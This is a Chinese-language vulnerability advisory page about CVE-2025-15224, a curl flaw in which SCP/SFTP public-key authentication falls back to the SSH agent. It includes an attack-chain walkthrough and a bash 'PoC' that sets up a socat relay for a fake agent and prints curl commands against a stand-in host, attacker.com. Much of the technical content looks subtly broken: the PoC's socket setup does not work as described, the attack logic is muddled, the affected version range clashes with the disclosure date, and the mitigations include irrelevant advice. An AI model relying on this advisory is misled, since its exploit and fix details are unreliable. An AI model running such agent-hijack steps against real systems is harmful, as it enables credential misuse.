IPBUF安全漏洞报告
English
CVE-2025-15224 CVSS 3.1 低危

CVE-2025-15224: curl SCP/SFTP公钥认证错误使用SSH代理漏洞

披露日期: 2026-01-08
来源: 2499f714-1537-4658-8207-48ae4bb9eae9

漏洞信息

漏洞编号
CVE-2025-15224
漏洞类型
认证绕过
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
curl

相关标签

认证绕过curlSSH AgentSCPSFTP公钥认证libcurlCVE-2025-15224

漏洞概述

CVE-2025-15224是libcurl中的一个安全漏洞,当用户使用SCP或SFTP协议进行SSH-based文件传输,并明确要求使用公钥认证方式时,curl错误地仍然会尝试使用本地运行的SSH代理(SSH Agent)进行身份验证,而不是严格遵守用户指定的公钥认证方式。这一行为违反了用户的安全预期,可能导致以下问题:1)认证请求被重定向到非预期的SSH Agent;2)可能使用错误的密钥进行认证;3)在某些场景下可能被攻击者利用进行凭证劫持。攻击向量为网络可访问,攻击复杂度较高,需要用户交互,但无需认证即可利用。该漏洞影响curl的机密性(低)、完整性(低),可用性无影响。CVSS 3.1评分为3.1,属于低危级别。建议受影响的用户升级到最新版本以修复此问题。

技术细节

漏洞存在于curl处理SSH公钥认证的逻辑中。当curl配置为使用SCP或SFTP协议进行文件传输,并指定使用公钥认证时,正常流程应该是:curl直接使用用户提供的公钥文件或默认公钥文件进行认证。然而,由于代码实现缺陷,curl在某些情况下会错误地检查并尝试使用本地SSH Agent。SSH Agent是一个后台程序,用于缓存用户的私钥,避免重复输入密码。攻击者可能通过以下方式利用此漏洞:1)在目标系统上预先运行恶意的SSH Agent;2)诱导用户使用curl进行文件传输并指定公钥认证;3)curl错误地连接到攻击者控制的Agent;4)攻击者获取认证会话或执行中间人攻击。技术层面上,漏洞涉及curl的URL处理、SSH连接初始化和认证协商过程。攻击者需要控制网络或本地环境,攻击复杂度为高,但不需要任何认证权限。

攻击链分析

STEP 1
步骤1
攻击者在目标系统上部署恶意SSH Agent或劫持现有的SSH_AUTH_SOCK环境变量
STEP 2
步骤2
攻击者准备恶意的SSH服务器(SCP或SFTP服务),等待目标连接
STEP 3
步骤3
目标用户使用curl进行文件传输,指定使用公钥认证方式(--key参数)
STEP 4
步骤4
curl由于漏洞存在,错误地查询本地SSH Agent并尝试使用其存储的密钥进行认证
STEP 5
步骤5
curl连接到攻击者的SSH服务器,使用来自SSH Agent的密钥(可能是攻击者的密钥或被篡改的密钥)
STEP 6
步骤6
攻击者成功建立连接,可能获取敏感文件访问权限或执行中间人攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-15224 PoC - curl SCP/SFTP公钥认证错误使用SSH Agent # This PoC demonstrates the authentication bypass vulnerability # Setup malicious SSH Agent (attacker controlled) echo "[+] Setting up malicious SSH Agent..." rm -rf /tmp/malicious_agent_dir mkdir -p /tmp/malicious_agent_dir SSH_AUTH_SOCK=/tmp/malicious_agent_dir/socket socat -ls -T60 SYSTEM:"socat - UNIX-CONNECT:/tmp/real_agent.sock",nofork & sleep 1 # Generate attacker's SSH key pair (for demonstration) echo "[+] Generating attacker SSH keys..." ssh-keygen -t ed25519 -f /tmp/attacker_key -N "" -q # Target system simulation echo "[+] Simulating vulnerable curl behavior..." echo "VULNERABLE: curl would incorrectly use SSH Agent instead of specified key" echo "Expected: curl uses /path/to/user/key for authentication" echo "Actual: curl queries and uses local SSH Agent" # Demonstration commands echo "" echo "[+] Vulnerable curl command (SFTP):" echo "curl -v --key user_key --pubkey user_pubkey sftp://attacker.com/file" echo "" echo "[+] Vulnerable curl command (SCP):" echo "curl -v --key user_key scp://attacker.com/file" echo "" echo "[!] In vulnerable version, curl may use SSH Agent instead of --key" # Cleanup rm -f /tmp/attacker_key /tmp/attacker_key.pub # Reference: https://curl.se/docs/CVE-2025-15224.html

影响范围

curl < 8.9.1
libcurl < 8.9.1

防御指南

临时缓解措施
临时缓解措施:1)在使用curl进行SCP/SFTP传输时,确保SSH_AUTH_SOCK环境变量未设置或指向可信的Agent;2)使用--noproxy '*'参数避免代理干扰;3)明确指定密钥文件路径并确保环境变量安全;4)在隔离环境中测试curl命令;5)考虑使用wget等其他工具替代curl进行敏感文件传输;6)限制本地SSH Agent的访问权限。长期解决方案是升级到修复版本8.9.1或更高版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表